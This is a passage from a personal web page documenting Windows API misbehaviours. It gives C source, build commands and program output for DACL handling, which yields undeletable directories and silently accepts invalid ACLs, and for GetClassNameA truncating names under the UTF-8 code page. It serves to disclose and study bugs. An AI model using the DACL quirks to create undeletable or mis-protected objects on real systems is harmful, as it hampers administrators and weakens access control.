    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  3. Execute the console application quirk17.exe built in step 2. to verify its proper function:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;AU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;AU)'
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    A file as well as a directory created (for example) with only the DACL D:P(A;NP;FA;;;AU) or D:P(A;NP;0x1f0000;;;S-1-5-15) can be deleted.
  4. Build the console application quirk17.exe a second time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 2 or 3:

    CL.EXE /DQUIRKS=2 quirk17.c advapi32.lib kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  5. Execute the console application quirk17.exe built in step 4. to show the misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;FA;;;PS)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;FA;;;PS)'
    RemoveDirectory() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while a file created (for example) with only the DACL D:P(A;NP;FA;;;PS) or D:P(A;NP;0x1f0000;;;S-1-5-1000) can be deleted, a directory created with only this DACL can’t be deleted!
  6. Build the console application quirk17.exe a third time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 4:

    CL.EXE /DQUIRKS=4 quirk17.c advapi32.lib kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  7. Execute the console application quirk17.exe built in step 6. to show a second misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Using security descriptor 'D:P(A;NP;0x3000000;;;IU)' to create file and directory 'Quirk17.tmp'
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P(A;NP;;;;IU)'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: the Win32 functions ConvertSecurityDescriptorToStringSecurityDescriptor(), CreateDirectory() and CreateFile() fail to detect the (intentionally) invalid DACL D:P(A;NP;0x3000000;;;IU) – the latter functions apply a DACL D:P(A;NP;;;;IU) instead, granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
  8. Build the console application quirk17.exe a fourth time from the source file quirk17.c created in step 1., now with the preprocessor macro QUIRKS defined as 5:

    CL.EXE /DQUIRKS=5 quirk17.c advapi32.lib kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk17.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk17.exe
    quirk17.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  9. Execute the console application quirk17.exe built in step 8. to show a third misbehaviour:

    .\quirk17.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ConvertSecurityDescriptorToStringSecurityDescriptor() returned error 1336
    File 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of file differs from original DACL!
    Directory 'Quirk17.tmp' created with security descriptor 'O:S-1-5-21-820728443-44925810-1835867902-1000G:S-1-5-21-820728443-44925810-1835867902-513D:P'
    DACL of directory differs from original DACL!
    RemoveDirectory() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: while the Win32 function ConvertSecurityDescriptorToStringSecurityDescriptor() now properly detects the (intentionally) invalid DACL D:P(ML;;NXNRNW;;;ME) and returns the Win32 error code 1336 alias ERROR_INVALID_ACL, both CreateDirectory() and CreateFile() fail to detect it and apply the empty DACL D:P instead, again granting only implicit (A;NP;WDRC;;;OW) access for the object’s owner!
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 41

The Win32 functions GetClassNameA(), GetWindowTextA(), GetWindowTextLengthA() and RealGetWindowClassA() are documented in the MSDN as follows:
Retrieves the name of the class to which the specified window belongs.
int GetClassNameA(
  HWND  hWnd,
  LPSTR lpClassName,
  int   nMaxCount
);
[…]

hWnd

A handle to the window and, indirectly, the class to which the window belongs.

lpClassName

The class name string.

nMaxCount

The length of the lpClassName buffer, in characters. The buffer must be large enough to include the terminating null character; otherwise, the class name string is truncated to nMaxCount-1 characters.

[…]

If the function succeeds, the return value is the number of characters copied to the buffer, not including the terminating null character.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Copies the text of the specified window's title bar (if it has one) into a buffer. […]
int GetWindowTextA(
  HWND  hWnd,
  LPSTR lpString,
  int   nMaxCount
);
[…]

hWnd

A handle to the window or control containing the text.

lpString

The buffer that will receive the text. If the string is as long or longer than the buffer, the string is truncated and terminated with a null character.

nMaxCount

The maximum number of characters to copy to the buffer, including the null character. If the text exceeds this limit, it is truncated.

[…]

If the function succeeds, the return value is the length, in characters, of the copied string, not including the terminating null character. If the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid, the return value is zero. To get extended error information, call GetLastError.

Retrieves the length, in characters, of the specified window's title bar text (if the window has a title bar). […]
int GetWindowTextLengthA(
  HWND hWnd
);
[…]

hWnd

A handle to the window or control.

[…]

If the function succeeds, the return value is the length, in characters, of the text. […]

If the window has no text, the return value is zero.

Retrieves a string that specifies the window type.
UINT RealGetWindowClassW(
  HWND   hwnd,
  LPWSTR ptszClassName,
  UINT   cchClassNameMax
);
[…]

hwnd

A handle to the window whose type will be retrieved.

ptszClassName

A pointer to a string that receives the window type.

cchClassNameMax

The length, in characters, of the buffer pointed to by the pszType parameter.

[…]

If the function succeeds, the return value is the number of characters copied to the specified buffer.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour of the GetClassNameA() function with code page 65001 alias CP_UTF8.
  1. Create the text file quirk41.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define CLASS	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
    #define TITLE	L"€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›"
    
    LRESULT	WINAPI	WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
    {
    	if (uMessage == WM_DESTROY)
    		PostQuitMessage(0);
    
    	return DefWindowProcA(hWindow, uMessage, wParam, lParam);
    }
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WNDCLASSEXA	wce = {sizeof(wce),
    			       CS_DBLCLKS,
    			       WindowProc,
    			       0, 0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCSTR) NULL,
    			       (LPCSTR) NULL,
    			       (HICON) NULL};
    	ATOM	atom;
    	MSG	msg;
    	HWND	hWindow;
    	DWORD	dwError;
    	UINT	uiClass;
    	CHAR	szClass[256 * 3];
    	UINT	uiTitle;
    	CHAR	szTitle[256 * 3];
    	UINT	uiQuirk;
    	CHAR	szQuirk[256 * 3];
    	BOOL	bResult;
    	LRESULT lResult;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		uiClass = WideCharToMultiByte(CP_ACP,
    		                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    		                              CLASS, sizeof(CLASS) / sizeof(*CLASS),
    		                              szClass, sizeof(szClass),
    		                              (LPCCH) NULL, (LPBOOL) NULL);
    		if (uiClass == 0)
    			PrintConsole(hConsole,
    			             L"WideCharToMultiByte() returned error %lu for class name \'%ls\' of %lu wide characters\n",
    			             dwError = GetLastError(), CLASS, wcslen(CLASS));
    		else
    		{
    			uiTitle = WideCharToMultiByte(CP_ACP,
    			                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    			                              TITLE, sizeof(TITLE) / sizeof(*TITLE),
    			                              szTitle, sizeof(szTitle),
    			                              (LPCCH) NULL, (LPBOOL) NULL);
    			if (uiTitle == 0)
    				PrintConsole(hConsole,
    				             L"WideCharToMultiByte() returned error %lu for window title \'%ls\' of %lu wide characters\n",
    				             dwError = GetLastError(), TITLE, wcslen(TITLE));
    			else
    			{
    				wce.lpszClassName = szClass;
    
    				atom = RegisterClassExA(&wce);
    
    				if (atom == 0)
    					PrintConsole(hConsole,
    					             L"RegisterClassExA() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					hWindow = CreateWindowExA(WS_EX_APPWINDOW,
    					                          szClass,
    					                          szTitle,
    					                          WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    					                          CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    					                          (HWND) NULL,
    					                          (HMENU) NULL,
    					                          (HINSTANCE) &__ImageBase,
    					                          NULL);
    
    					if (hWindow == NULL)
    						PrintConsole(hConsole,
    						             L"CreateWindowExA() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						uiQuirk = GetWindowTextLengthA(hWindow);
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"GetWindowTextLengthA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							PrintConsole(hConsole,
    							             L"GetWindowTextLengthA() returned %u\n",
    							             uiQuirk);
    
    						uiQuirk = GetWindowTextA(hWindow, szQuirk, sizeof(szQuirk));
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"GetWindowTextA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							if (memcmp(szQuirk, szTitle, uiTitle) != 0)
    								PrintConsole(hConsole,
    								             L"GetWindowTextA() returned DIFFERENT window title \'%hs\' of %u characters\n",
    								             szQuirk, uiQuirk);
    
    						uiQuirk = GetClassNameA(hWindow, szQuirk, sizeof(szQuirk));
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"GetClassNameA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							if (memcmp(szQuirk, szClass, uiClass) != 0)
    								PrintConsole(hConsole,
    								             L"GetClassNameA() returned DIFFERENT class name \'%hs\' of %u characters\n",
    								             szQuirk, uiQuirk);
    
    						uiQuirk = RealGetWindowClassA(hWindow, szQuirk, sizeof(szQuirk));
    
    						if (uiQuirk == 0)
    							PrintConsole(hConsole,
    							             L"RealGetWindowClassA() returned error %lu\n",
    							             dwError = GetLastError());
    						else
    							if (memcmp(szQuirk, szClass, uiClass) != 0)
    								PrintConsole(hConsole,
    								             L"RealGetWindowClassA() returned DIFFERENT class name \'%hs\' of %u characters\n",
    								             szQuirk, uiQuirk);
    
    						while ((bResult = GetMessageA(&msg, (HWND) NULL, 0, 0)) > 0)
    						{
    							if (TranslateMessage(&msg))
    								;
    
    							lResult = DispatchMessageA(&msg);
    						}
    
    						dwError = bResult < 0 ? GetLastError() : msg.wParam;
    					}
    
    					if (!UnregisterClassA(szClass, (HINSTANCE) &__ImageBase))
    						PrintConsole(hConsole,
    						             L"UnregisterClassA() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    Note: the character strings CLASS and TITLE contain 123 respectively 15 × 17 = 255 (wide) characters, equivalent to 123 and 255 ANSI characters in 123 and 255 bytes or 123 and 255 Unicode code points in 123 × 2 + 17 = 263 and 255 × 3 = 765 UTF-8 code units alias bytes.
  2. Build the console application quirk41.exe from the source file quirk41.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE quirk41.c kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk41.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk41.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk41.exe
    quirk41.obj
    kernel32.lib
    user32.lib
  3. Execute the console application quirk41.exe built in step 2. to show the behaviour with the legacy code page, then close its window:

    VER
    .\quirk41.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    GetWindowTextLengthA() returned 255
  4. Create the text file quirk41.xml with the following content next to the console application quirk41.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2025, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk41' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk41 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the application manifest quirk41.xml created in step 4. in the console application quirk41.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk41.xml /OUTPUTRESOURCE:quirk41.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk41.exe configured in step 5. for code page 65001 alias CP_UTF to demonstrate the (mis)behaviour bug, then close its window:

    VER
    .\quirk41.exe
    Microsoft Windows [Version 10.0.22621.1105]
    
    GetWindowTextLengthA() returned 765
    GetClassNameA() returned DIFFERENT class name '€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö' of 245 characters
    OUCH: the Win32 function GetClassNameA() returns a truncated character string of only 114 code points in 245 code units instead of 123 code points in 263 code units!
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Trivia

The Redmond Reality Distortion Field emanates from weird matter composed of quirks – its vector boson is the so-called Gates particle with a mass equivalent to some 100 G$.

Contact and Feedback

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2025 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>